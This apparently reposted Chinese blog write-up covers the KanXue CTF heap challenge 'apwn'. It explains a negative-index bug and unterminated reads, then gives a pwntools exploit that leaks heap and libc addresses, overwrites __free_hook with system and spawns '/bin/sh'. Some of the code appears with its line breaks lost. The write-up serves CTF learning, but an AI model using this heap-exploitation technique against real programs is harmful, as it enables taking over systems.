看雪CTF 拯救单身狗 apwn

2024-01-15 17:48
文章标签 ctf 拯救 单身 看雪 apwn

本文主要是介绍看雪CTF 拯救单身狗 apwn,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

漏洞类型

堆的整数负数溢出

保护机制

全保护

关键代码

if ( two[v1] )//没考虑负数{puts("Oh,singledog,changing your name can bring you good luck.");read(0, (void *)two[v1], 0x20uLL);printf("new name: %s", two[v1]);}
if ( one[v1] )//同样没考虑负数{puts("Oh,luckydog,What is your new name?");read(0, (void *)(one[v1] + 8LL), 0x18uLL);puts("your partner's new name");read(0, *(void **)one[v1], 0x20uLL);}

只考虑是否有效,没考虑int 整型的v1是否为负数。造成整数溢出。

而且read输入后没有\x00截断,给Leak形成条件

利用思路

1、利用read没有截断leak出libc和堆地址

2、改free_hook为system('/bin/sh')

EXP

from pwn import *
context.os='Linux'
context.arch='amd64'
debug = 1
if debug:context.log_level='debug'cn=process('./apwn')#cn=process('./the_end',env={'LD_PRELOAD':'./lib/i386-linux-gnu/libc-2.23.so'})elf=ELF('./apwn')libc=elf.libc#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')#libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')s       = lambda data               :cn.send(str(data))
sa      = lambda delim,data         :cn.sendafter(str(delim), str(data)) 
st      = lambda delim,data         :cn.sendthen(str(delim), str(data)) 
sl      = lambda data               :cn.sendline(str(data)) 
sla     = lambda delim,data         :cn.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :cn.recv(numb)
rl	= lambda 	            :cn.recvline()
ru      = lambda delims             :cn.recvuntil(delims)
irt     = lambda                    :cn.interactive()
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
def create_luckydog(name,partner):ru('>>')sl(2)s(name)ru("your partner's name")s(partner)
def create_singledog(name):ru('>>')sl(1)s(name)
def edit_singledog(index,name):ru('>>')sl(3)sl(index)#ru('Oh,singledog,changing your name can bring you good luck.')s(name)
def edit_luckydog(index,name,partner):ru('>>')sl(4)sl(index)s(name)s(partner)
def dele():ru('>>')sl(5)create_singledog('/bin/sh\x00'+'\x00'*0x18)#two[0]
create_luckydog('b'*0x18,'c'*0x20)#one[0]
create_singledog('/bin/sh\x00')#two[1]
create_luckydog('e'*0x18,'f'*0x20)#one[1]#leak heap
dele()
dele()
create_singledog('\x30')
edit_singledog(0,'\x30')
ru('new name: ')
heap = uu64(r(6))-0x30
success('heap= {}'.format(hex(heap)))#leak start
'''
edit_singledog(-11,'\x08')
ru('new name: ')
start = uu64(r(6))-0x202008
success('start= {}'.format(hex(start)))
'''
#leak libcedit_singledog(-11,'\x20')
ru('new name: ')
libc_base = uu64(r(6))-libc.symbols['_IO_2_1_stdout_']#0x3c5620success('libc_base= {}'.format(hex(libc_base)))'''
edit_singledog(-4,'11111111')
ru('11111111')
#gdb.attach(cn)
libc_base = uu64(r(6))-0x3ec703 #remote
'''
success('libc_base= {}'.format(hex(libc_base)))
#write free_hook
free_hook=libc_base+libc.symbols['__free_hook']
sys=libc_base+libc.symbols['system']
success('free_hook= {}'.format(hex(free_hook)))
success('system= {}'.format(hex(sys)))
edit_singledog(80,p64(free_hook))
edit_luckydog(0,'a'*0x18,p64(sys)+'\x00'*0x18)edit_singledog(80,p64(heap+0x100))
edit_luckydog(0,'a'*0x18,'/bin/sh\x00'+'\x00'*0x18)#gdb.attach(cn)
dele()irt()

这篇关于看雪CTF 拯救单身狗 apwn的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/609710

相关文章

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

U盘未初始化困境与数据拯救

U盘未初始化现象深度剖析 在数字化时代,U盘作为便携式存储设备,承载着人们日常学习、工作、生活中的大量数据。然而,当U盘突然显示“未初始化”时,这些宝贵的数据仿佛一夜之间被锁进了无形的牢笼,让人心急如焚。U盘未初始化,意味着其文件系统结构可能已遭破坏,导致操作系统无法正确识别并访问其中的数据。这一现象背后,可能隐藏着多种原因:文件系统损坏、分区表丢失、不当的插拔操作、甚至是物理层面的轻微损伤等。

CTF入门之奇怪的密码及图形编码总结篇(持续更新中ing)

CTF入门之奇怪的编码及图形编码(持续更新中ing UTF-8,unicode乱码社会主义核心价值观编码:在线解码: 与佛论禅:在线解密网站: 与熊论道:在线网站解密: 兽音:在线网站解密: 文本加密字母/汉字等等:文本加密为汉字 :文本加密为数字:文本加密为字母:文本加密为音乐符号:文本加密为国际音标:文本加密为盲文:文本加密为韩文:文本加密为日文:文本加密为花朵符号:文本加密为俄

使用 GZCTF 结合 GitHub 仓库搭建独立容器与动态 Flag 的 CTF 靶场以及基于 Docker 的 Web 出题与部署

写在前面 关于 CTF 靶场的搭建(使用 CTFd 或者 H1ve)以及 AWD 攻防平台的搭建,勇师傅在前面博客已经详细写过,可以参考我的《网站搭建》专栏,前段时间玩那个 BaseCTF,发现它的界面看着挺不错的,了解到也是一个开源项目-GZCTF,网上未见有这方面的详细介绍,看了下网上都只是简单说了下怎么搭出 GZCTF 这个靶场的界面,然而对于后续题目的部署并未进行详细的介绍与说明,因此这

【CTF Web】BUUCTF Upload-Labs-Linux Pass-04 Writeup(文件上传+PHP+.htaccess绕过)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

4.4 bps 拯救小哈

题目: 代码: #include<stdio.h>#include<stdlib.h>#include<string.h>//只有一个路线,没有深度优先的分支!!!//节点法创建顺序队列//节点typedef struct note{int x;int y;int s;}note;int main(){int i,j,k,n,p,q,tx,ty,flag,book[51][5

[CTF]-Reverse:Reverse做题笔记

Tea: [HNCTF 2022 WEEK2]TTTTTTTTTea: 找出关键数据,运行脚本 #include <stdio.h>int main(){unsigned int l,r;unsigned int v4[6]={-1054939302,-1532163725,-165900264,853769165,768352038,876839116};int flag[6]={0};

趣味算法------拯救阿拉德大陆

目录 ​编辑 题目描述: 思路解析: 具体代码: 总结: 题目描述: 此时一批勇士也随之而来,但其能力也是参差不齐,我们需要挑选出最优秀的勇士来守护这片大陆。每位勇士都有属于自己的编号,而我们现在有四张卡片里面分别标记了一个号码,当勇士的编号为其中某一张卡片中号码的倍数时说明该勇士是优秀的。目前有 n 名勇士(编号 1-n)并且告诉你卡片内的号码,请你计算出能挑选出多

非常有趣的一道区块连CTF题目的思考————king

区块连CTF题目 区块连CTF题目king 区块连CTF题目前言一、题目以及解答二、题目分析1.进攻receive()函数2.守护king强行selfdestruct转入为什么拿不到king 前言 这道题目在于处理接受函数的知识,另外我们结合selfdestruct函数进行分析 一、题目以及解答 这是一个非常有意思的问题: 首先下面的solidity代码是本次的题

联想拯救者r720自带win10安装linux(ubuntu)双系统

联想拯救者R720自带win10安装linux(ubuntu)双系统 准备事项 ubuntu的u盘启动(网上有教程,下个比较新的版本,本人用的ubuntu16.04)关闭win10的快速启动(也可以不关闭,不关闭的话可能会导致以后ubuntu不能读取windows里的盘符。)在磁盘管理器中压缩出给ubuntu的空闲空间,然后关闭计算机。我是128gSSD+1THDD,win10作为主系统放在S